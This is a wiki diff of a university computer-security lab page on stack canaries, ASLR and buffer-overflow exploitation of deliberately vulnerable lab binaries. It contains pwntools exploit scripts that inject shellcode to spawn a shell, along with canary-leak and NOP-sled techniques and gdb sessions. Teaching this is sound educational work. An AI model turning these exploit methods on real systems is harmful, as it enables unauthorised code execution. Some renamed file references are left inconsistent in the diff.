This shows you the differences between two versions of the page.
cns:labs:lab-06 [2020/11/14 17:03] mihai.dumitru2201 [Stack Protection: Canaries] |
cns:labs:lab-06 [2020/11/16 11:01] (current) dennis.plosceanu [T1. GCC stack protector [1p]] |
||
---|---|---|---|
Line 125: | Line 125: | ||
All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | All content necessary for the CNS laboratory tasks can be found in [[cns:resources:repo|the CNS public repository]]. | ||
- | ==== T1. GCC stack protector [1p] ==== | + | ==== T1. GCC stack protector ==== |
Take a look at ''vulnerable.c'' in the [[http://elf.cs.pub.ro/oss/res/labs/lab-06.tar.gz|lab archive]]. We are interested in particular in the ''%%get_user_input%%'' function, which ''read''s from standard input into a local buffer more bytes than are available: | Take a look at ''vulnerable.c'' in the [[http://elf.cs.pub.ro/oss/res/labs/lab-06.tar.gz|lab archive]]. We are interested in particular in the ''%%get_user_input%%'' function, which ''read''s from standard input into a local buffer more bytes than are available: | ||
Line 149: | Line 149: | ||
cc -m32 -c -m32 -Wall -Wextra -Wno-unused-function -Wno-unused-variable -g -O0 -fno-stack-protector -o vulnerable.o vulnerable.c | cc -m32 -c -m32 -Wall -Wextra -Wno-unused-function -Wno-unused-variable -g -O0 -fno-stack-protector -o vulnerable.o vulnerable.c | ||
cc -m32 -z execstack vulnerable.o -o vulnerable | cc -m32 -z execstack vulnerable.o -o vulnerable | ||
- | $ python -c 'print "A"*20' | ./vulnerable | + | $ python -c 'print("A"*20)' | ./vulnerable |
Segmentation fault | Segmentation fault | ||
$ dmesg | tail -n 1 | $ dmesg | tail -n 1 | ||
Line 166: | Line 166: | ||
<code> | <code> | ||
- | $ python -c 'print "A"*20' | ./vulnerable-ssp | + | $ python -c 'print("A"*20)' | ./vulnerable-ssp |
*** stack smashing detected ***: ./vulnerable-ssp terminated | *** stack smashing detected ***: ./vulnerable-ssp terminated | ||
======= Backtrace: ========= | ======= Backtrace: ========= | ||
Line 222: | Line 222: | ||
<code asm> | <code asm> | ||
- | $ SHELLCODE=$(python -c 'print "C" * 1000') gdb -q ./vulnerable | + | $ SHELLCODE=$(python -c 'print("C" * 1000)') gdb -q ./vulnerable |
Reading symbols from ./vulnerable...done. | Reading symbols from ./vulnerable...done. | ||
- | gdb-peda$ r < <(python -c 'print "A" * 16 + "BBBB"') | + | gdb-peda$ r < <(python -c 'print("A" * 16 + "BBBB")') |
... | ... | ||
- | EIP: 0x42424242 ('BBBB') | + | RBP: 0x4141414141414141 ('AAAAAAAA') |
- | ... | + | |
- | Invalid $PC address: 0x42424242 | + | |
... | ... | ||
Legend: code, data, rodata, value | Legend: code, data, rodata, value | ||
Line 234: | Line 232: | ||
0x42424242 in ?? () | 0x42424242 in ?? () | ||
gdb-peda$ searchmem "CCCCC" | gdb-peda$ searchmem "CCCCC" | ||
- | Searching for 'CCCCC' in: None ranges | + | Searching for 'CCCCC' in: None ranges |
- | Found 200 results, display max 200 items: | + | Found 200 results, display max 200 items: |
- | [stack] : 0xffffdbc8 ('C' <repeats 200 times>...) | + | [stack] : 0x7fffffffeba4 ('C' <repeats 200 times>...) |
- | [stack] : 0xffffdbcd ('C' <repeats 200 times>...) | + | [stack] : 0x7fffffffeba9 ('C' <repeats 200 times>...) |
- | [stack] : 0xffffdbd2 ('C' <repeats 200 times>...) | + | [stack] : 0x7fffffffebae ('C' <repeats 200 times>...) |
- | [stack] : 0xffffdbd7 ('C' <repeats 200 times>...) | + | [stack] : 0x7fffffffebb3 ('C' <repeats 200 times>...) |
- | [stack] : 0xffffdbdc ('C' <repeats 200 times>...) | + | [stack] : 0x7fffffffebb8 ('C' <repeats 200 times>...) |
- | [stack] : 0xffffdbe1 ('C' <repeats 200 times>...) | + | [stack] : 0x7fffffffebbd ('C' <repeats 200 times>...) |
+ | [stack] : 0x7fffffffebc2 ('C' <repeats 200 times>...) | ||
... | ... | ||
</code> | </code> | ||
Line 248: | Line 248: | ||
* The return address is at offset 16 in our input | * The return address is at offset 16 in our input | ||
- | * The ''SHELLCODE'' environment variable will be placed at approximately ''0xffffdbc8''. We expect this to vary quite a bit though, as the process running under GDB uses a different environment that affects stack addresses (environment variables are also stored on the stack). Moreover, the address will be different when running it under different systems. | + | * The ''SHELLCODE'' environment variable will be placed at approximately ''0x7fffffffeba4''. We expect this to vary quite a bit though, as the process running under GDB uses a different environment that affects stack addresses (environment variables are also stored on the stack). Moreover, the address will be different when running it under different systems. |
Given this, we can already write a skeleton for our exploit: | Given this, we can already write a skeleton for our exploit: | ||
Line 257: | Line 257: | ||
from pwn import * | from pwn import * | ||
- | # 32-bit Linux | + | context.binary = "./vulnerable" |
- | context(arch='i386', os='linux') | + | |
# Generate vars: a shellcode, return address offset, target address. | # Generate vars: a shellcode, return address offset, target address. | ||
shellcode = asm(shellcraft.sh()) | shellcode = asm(shellcraft.sh()) | ||
ret_offset = 16 | ret_offset = 16 | ||
- | target = 0xffffdbc8 | + | target = 0x7fffffffeba4 |
# Generate process, with SHELLCODE as an env var. | # Generate process, with SHELLCODE as an env var. | ||
Line 269: | Line 268: | ||
# Craft payload. | # Craft payload. | ||
- | payload = "A" * ret_offset | + | payload = b"A" * ret_offset |
- | payload += p32(target) | + | payload += pack(target) |
# Send payload. | # Send payload. | ||
Line 294: | Line 293: | ||
<code> | <code> | ||
$ dmesg | tail | $ dmesg | tail | ||
- | [20073.274211] vulnerable[11099]: segfault at 19 ip 00000000ffffdbc8 sp 00000000ffffde20 error 6 | + | [31758.336503] vulnerable[53539]: segfault at 15 ip 00007fffffffeb9a sp 00007fffffffed30 error |
+ | 6 | ||
</code> | </code> | ||
- | So we don't know //exactly// what happened((We can decode the error code using information in the [[http://lxr.free-electrons.com/source/arch/x86/mm/fault.c#L30|Linux kernel source code]]. Error code ''6'' corresponds to a failed user space write operation, but that doesn't help much.)), but we know that most probably the code at ''0xffffdbc8'' isn't what we expected. Since finding the exact address is difficult in the absence of an information leak, we could just extend our shellcode by prepending a **NOP sled** to it, or we could use **pwntools io.corefile.env** to get the environment variable address directly from the running io process. | + | So we don't know //exactly// what happened((We can decode the error code using information in the [[http://lxr.free-electrons.com/source/arch/x86/mm/fault.c#L30|Linux kernel source code]]. Error code ''6'' corresponds to a failed user space write operation, but that doesn't help much.)), but we know that most probably the code at ''0x7fffffffeba4'' isn't what we expected. Since finding the exact address is difficult in the absence of an information leak, we could just extend our shellcode by prepending a **NOP sled** to it: |
<code python> | <code python> | ||
+ | nopsled = b"\x90" * 2000 | ||
io = process('./vulnerable', env= { 'SHELLCODE' : nopsled + shellcode }) | io = process('./vulnerable', env= { 'SHELLCODE' : nopsled + shellcode }) | ||
target = io.corefile.env["SHELLCODE"] | target = io.corefile.env["SHELLCODE"] | ||
# Craft payload. | # Craft payload. | ||
- | payload = "A" * ret_offset | + | payload = b"A" * ret_offset |
- | payload += p32(target) | + | payload += pack(target) |
</code> | </code> | ||
Line 323: | Line 324: | ||
</code> | </code> | ||
- | <note tip> | ||
- | In the PRECIS 706 lab room it may happen that the address you found through GDB (something like ''0xffffd07c'') will not work. You can use a value more similar to the one we provide from our investigation (''0xffffdbc8''). | ||
- | </note> | ||
- | |||
- | For **64 bit architecture**, the exploit will be similar with 32, except from the shellcode arch and **ret_offset**: | ||
- | |||
- | <code python exploit-t2-64.py> | ||
- | #!/usr/bin/env python | ||
- | from pwn import * | ||
- | # 64-bit Linux | ||
- | context(arch='amd64', os='linux') | ||
- | |||
- | # Generate vars: a shellcode, return address offset, target address. | ||
- | shellcode = asm(shellcraft.sh(),arch='amd64') | ||
- | ret_offset = 12 | ||
- | |||
- | # Generate process, with SHELLCODE as an env var. | ||
- | io = process('./vulnerable-64', env= { 'SHELLCODE' : shellcode}) | ||
- | |||
- | target = io.corefile.env["SHELLCODE"] | ||
- | # Craft payload. | ||
- | payload = "A" * ret_offset | ||
- | payload += p64(target) | ||
- | |||
- | # Send payload. | ||
- | io.sendline(payload) | ||
- | |||
- | io.interactive() | ||
- | |||
- | </code> | ||
- | |||
- | <code> | ||
- | $ python exploit-t2-64.py | ||
- | |||
- | [+] Starting local process './vulnerable-64': pid 13417 | ||
- | [+] Parsing corefile...: Done | ||
- | [*] 'core.vulnerable-64.13417' | ||
- | Arch: amd64-64-little | ||
- | RIP: 0x7ffff7af4081 | ||
- | RSP: 0x7fffffffed08 | ||
- | Exe: 'vulnerable-64' (0x555555554000) | ||
- | [*] Switching to interactive mode | ||
- | $ ls / | ||
- | bin home lib32 media root sys vmlinuz | ||
- | boot initrd.img lib64 mnt run tmp vmlinuz.old | ||
- | dev initrd.img.old libx32 opt sbin usr | ||
- | etc lib lost+found proc srv var | ||
- | </code> | ||
===== Tasks ===== | ===== Tasks ===== | ||
Line 387: | Line 340: | ||
<note tip> | <note tip> | ||
- | Bypassing ASLR through brute-force is possible only because ''vulnerable'' is a 32-bit binary, although this technique is technically speaking possible on 64-bit if the attacker can leak //address bits//. The key question to ask here is, **how many bits of entropy** does ASLR yield on our architecture? | + | Bypassing ASLR through brute-force is possible only because ''bruteforce'' is a 32-bit binary, although this technique is technically speaking possible on 64-bit if the attacker can leak //address bits//. The key question to ask here is, **how many bits of entropy** does ASLR yield on our architecture? |
We can find the answer quickly through empirical means. We've included a program called ''buf.c'' in the [[http://elf.cs.pub.ro/oss/res/labs/lab-06.tar.gz|lab archive]], which intentionally leaks a stack address. Let's compile it and give it a few runs: | We can find the answer quickly through empirical means. We've included a program called ''buf.c'' in the [[http://elf.cs.pub.ro/oss/res/labs/lab-06.tar.gz|lab archive]], which intentionally leaks a stack address. Let's compile it and give it a few runs: | ||
Line 460: | Line 413: | ||
==== 2. Stackbleed: infoleak + ASLR bypass ==== | ==== 2. Stackbleed: infoleak + ASLR bypass ==== | ||
- | Examine ''vulnerable2.c''. This is very similar to ''vulnerable'', only ''%%get_user_input%%'' calls ''read'' twice: | + | Examine ''stackbleed.c''; ''%%get_user_input%%'' calls ''read'' twice: |
<code C> | <code C> | ||
Line 478: | Line 431: | ||
<code> | <code> | ||
- | $ python -c 'import sys; sys.stdout.write("ABCD")' | SHELLCODE="\x90\x90\x90\x90" ./vulnerable2 | xxd | + | $ python -c 'import sys; sys.stdout.write("ABCD")' | SHELLCODE="\x90\x90\x90\x90" ./stackbleed | xxd |
00000000: 4142 4344 d90f d3ff 010a ABCD...... | 00000000: 4142 4344 d90f d3ff 010a ABCD...... | ||
</code> | </code> | ||
Line 498: | Line 451: | ||
<code> | <code> | ||
log.info("Canary is: 0x{:08x}".format(unpack(canary, 'all', endian='little', sign=False))) | log.info("Canary is: 0x{:08x}".format(unpack(canary, 'all', endian='little', sign=False))) | ||
+ | </code> | ||
+ | |||
+ | Or, if you set the context properly (e.g. ''context.binary = "./stackbleed"''), you can skip the arguments to ''unpack'': | ||
+ | <code> | ||
+ | log.info("Canary is: 0x{:08x}".format(unpack(canary))) | ||
</code> | </code> | ||
</note> | </note> | ||
==== 3. Extra: infoleak + stack canary bypass ==== | ==== 3. Extra: infoleak + stack canary bypass ==== | ||
- | Examine ''vulnerable3.c'' and the resulting ''vulnerable3'' executable file. It is once again very similar to the previous incarnations, but we will use it for something somewhat different: leaking the stack canary and bypassing it. | + | Examine ''canary.c'' and the resulting ''canary'' executable file. It is once again very similar to the previous incarnations, but we will use it for something somewhat different: leaking the stack canary and bypassing it. |
Knowing that ''buf'''s size is 4, we want to determine exactly where the canary value starts. For now, let's take a look at ''vulnerable3'' with GDB: | Knowing that ''buf'''s size is 4, we want to determine exactly where the canary value starts. For now, let's take a look at ''vulnerable3'' with GDB: | ||
<code asm> | <code asm> | ||
- | $ gdb -q ./vulnerable3 | + | $ gdb -q ./canary |
Reading symbols from ./vulnerable3...done. | Reading symbols from ./vulnerable3...done. | ||
gdb-peda$ pdis get_user_input | gdb-peda$ pdis get_user_input | ||
Line 538: | Line 496: | ||
<code> | <code> | ||
gdb-peda$ b *0x08048497 | gdb-peda$ b *0x08048497 | ||
- | Breakpoint 1 at 0x8048497: file vulnerable3.c, line 8. | + | Breakpoint 1 at 0x8048497: file canary.c, line 8. |
gdb-peda$ r < <(echo -n "AAAA\n") | gdb-peda$ r < <(echo -n "AAAA\n") | ||
... | ... | ||
Line 549: | Line 507: | ||
<code> | <code> | ||
$ # we give "ABCD" as an input | $ # we give "ABCD" as an input | ||
- | $ python -c 'import sys; sys.stdout.write("ABCD")' | ./vulnerable3 | xxd | + | $ python -c 'import sys; sys.stdout.write("ABCD")' | ./canary | xxd |
00000000: 4142 4344 0a ABCD. | 00000000: 4142 4344 0a ABCD. | ||
$ # we give "ABCD\n" as an input | $ # we give "ABCD\n" as an input | ||
- | $ python -c 'import sys; sys.stdout.write("ABCD\n")' | ./vulnerable3 | xxd | + | $ python -c 'import sys; sys.stdout.write("ABCD\n")' | ./canary | xxd |
- | *** stack smashing detected ***: ./vulnerable3 terminated | + | *** stack smashing detected ***: ./canary terminated |
... | ... | ||
00000000: 4142 4344 0a7e 3d76 010a ABCD.~=v.. | 00000000: 4142 4344 0a7e 3d76 010a ABCD.~=v.. |